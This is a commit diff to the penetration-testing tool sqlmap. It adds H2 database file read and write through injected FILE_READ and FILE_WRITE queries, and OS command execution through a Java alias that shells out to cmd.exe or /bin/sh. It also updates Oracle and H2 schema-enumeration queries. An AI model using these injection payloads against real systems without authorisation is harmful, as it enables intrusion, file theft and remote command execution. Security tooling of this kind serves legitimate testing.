Improvement for H2 and Oracle

This commit is contained in:
Miroslav Štampar 2026-07-12 18:22:15 +02:00
parent 94e21844d7
commit 38ab43f29e
7 changed files with 88 additions and 21 deletions

View file

@ -305,8 +305,8 @@
</statements>
<!-- NOTE: ALL_SOURCE stores one row per source line, so LISTAGG reassembles them (subject to its 4000-char limit). ORACLE_MAINTAINED='N' (12.2+) cleanly excludes every Oracle built-in schema (SYS, WMSYS, LBACSYS, DVSYS, ...) instead of a hand-maintained blocklist. -->
<procedures>
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
<inband query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s"/>
<blind query="SELECT NAME||' ['||TYPE||'] '||(SELECT LISTAGG(TEXT ON OVERFLOW TRUNCATE) WITHIN GROUP (ORDER BY LINE) FROM ALL_SOURCE WHERE NAME=s.NAME AND OWNER=s.OWNER AND TYPE=s.TYPE) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N')) s ORDER BY NAME OFFSET %d ROWS FETCH NEXT 1 ROWS ONLY" count="SELECT COUNT(*) FROM (SELECT DISTINCT OWNER,NAME,TYPE FROM ALL_SOURCE WHERE TYPE IN ('PROCEDURE','FUNCTION') AND OWNER IN (SELECT USERNAME FROM ALL_USERS WHERE ORACLE_MAINTAINED='N'))"/>
</procedures>
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
<dbs>
@ -598,7 +598,7 @@
<blind/>
</dbs>
<tables>
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U','V')"/>
<blind/>
</tables>
<columns>
@ -1983,12 +1983,12 @@
<blind query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.SCHEMAS"/>
</dbs>
<tables>
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLES" condition="schema_name"/>
<blind query="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s' ORDER BY TABLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'"/>
<inband query="SELECT SCHEMA_NAME,OBJECT_NAME FROM SYS.OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="schema_name"/>
<blind query="SELECT OBJECT_NAME FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') ORDER BY OBJECT_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
</tables>
<columns>
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
<blind query="SELECT COLUMN_NAME FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
<blind query="SELECT COLUMN_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s"/>
@ -2003,8 +2003,8 @@
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLES WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLES WHERE %s" count2="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" condition="table_name" condition2="schema_name"/>
</search_table>
<search_column>
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLE_COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLE_COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLE_COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
</search_column>
</dbms>
</root>

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.96"
VERSION = "1.10.7.97"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View file

@ -58,6 +58,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
elif Backend.isDbms(DBMS.MSSQL):
self.xpCmdshellExecCmd(cmd, silent=silent)
elif Backend.isDbms(DBMS.H2):
self.h2ExecCmd(cmd, silent=silent)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
@ -77,6 +80,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
elif Backend.isDbms(DBMS.MSSQL):
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
elif Backend.isDbms(DBMS.H2):
retVal = self.h2EvalCmd(cmd, first, last)
else:
errMsg = "Feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)

View file

@ -5,14 +5,43 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.common import checkFile
from lib.core.convert import getText
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.request import inject
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, remoteFile):
errMsg = "on H2 it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def nonStackedReadFile(self, remoteFile):
if not kb.bruteMode:
infoMsg = "fetching file: '%s'" % remoteFile
logger.info(infoMsg)
# NOTE: FILE_READ() is a default H2 builtin and works in a plain SELECT (no stacking required)
result = inject.getValue("RAWTOHEX(FILE_READ('%s'))" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def stackedReadFile(self, remoteFile):
# H2 reads through a builtin scalar, so the stacked/direct path reuses the same primitive
return self.nonStackedReadFile(remoteFile)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on H2 it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
checkFile(localFile)
self.checkDbmsOs()
with open(localFile, "rb") as f:
content = getText(f.read())
infoMsg = "writing the file content to '%s'" % remoteFile
logger.info(infoMsg)
# NOTE: FILE_WRITE() is the H2 builtin counterpart of FILE_READ(); being a plain scalar it needs no
# stacked queries (the write happens as a side effect over UNION/error/blind). The content is passed
# as a string literal (STRINGTOUTF8) so it survives sqlmap's CHAR()-encoding (unlike an X'..' literal)
inject.getValue("CAST(FILE_WRITE(STRINGTOUTF8('%s'),'%s') AS INT)" % (content.replace("'", "''"), remoteFile), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)

View file

@ -119,3 +119,10 @@ class Fingerprint(GenericFingerprint):
def getHostname(self):
warnMsg = "on H2 it is not possible to enumerate the hostname"
logger.warning(warnMsg)
def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()

View file

@ -5,17 +5,42 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.enums import OS
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.request import inject
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on H2 it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
self._createExecAlias()
self.runCmd(conf.osCmd)
def osShell(self):
errMsg = "on H2 it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
self._createExecAlias()
self.shell()
def _createExecAlias(self):
# NOTE: H2 compiles an inline Java source alias that shells out; the $$-delimited body avoids
# single-quote escaping and survives stacked-query injection intact
if not kb.get("h2ExecAlias"):
kb.h2ExecAlias = randomStr(lowercase=True)
argv = '"cmd.exe","/c"' if Backend.isOs(OS.WINDOWS) else '"/bin/sh","-c"'
# NOTE: ProcessBuilder().start() is used instead of Runtime.exec() because 'exec' is an SQL
# statement keyword that sqlmap's cleanQuery() would upper-case and break the case-sensitive Java
source = 'String x(String c) throws Exception { return new String(new ProcessBuilder(new String[]{%s,c}).start().getInputStream().readAllBytes()); }' % argv
inject.goStacked("CREATE ALIAS IF NOT EXISTS %s AS $$ %s $$" % (kb.h2ExecAlias, source))
def h2ExecCmd(self, cmd, silent=False):
self._createExecAlias()
inject.goStacked("CALL %s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")))
def h2EvalCmd(self, cmd, first=None, last=None):
self._createExecAlias()
return inject.getValue("%s('%s')" % (kb.h2ExecAlias, cmd.replace("'", "''")), safeCharEncode=False)
def osPwn(self):
errMsg = "on H2 it is not possible to establish an "

View file

@ -229,7 +229,7 @@ class Filesystem(object):
logger.debug(debugMsg)
fileContent = self.stackedReadFile(remoteFile)
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL):
elif Backend.isDbms(DBMS.MYSQL) or Backend.isDbms(DBMS.PGSQL) or Backend.isDbms(DBMS.H2):
debugMsg = "going to try to read the file with non-stacked query "
debugMsg += "SQL injection technique"
logger.debug(debugMsg)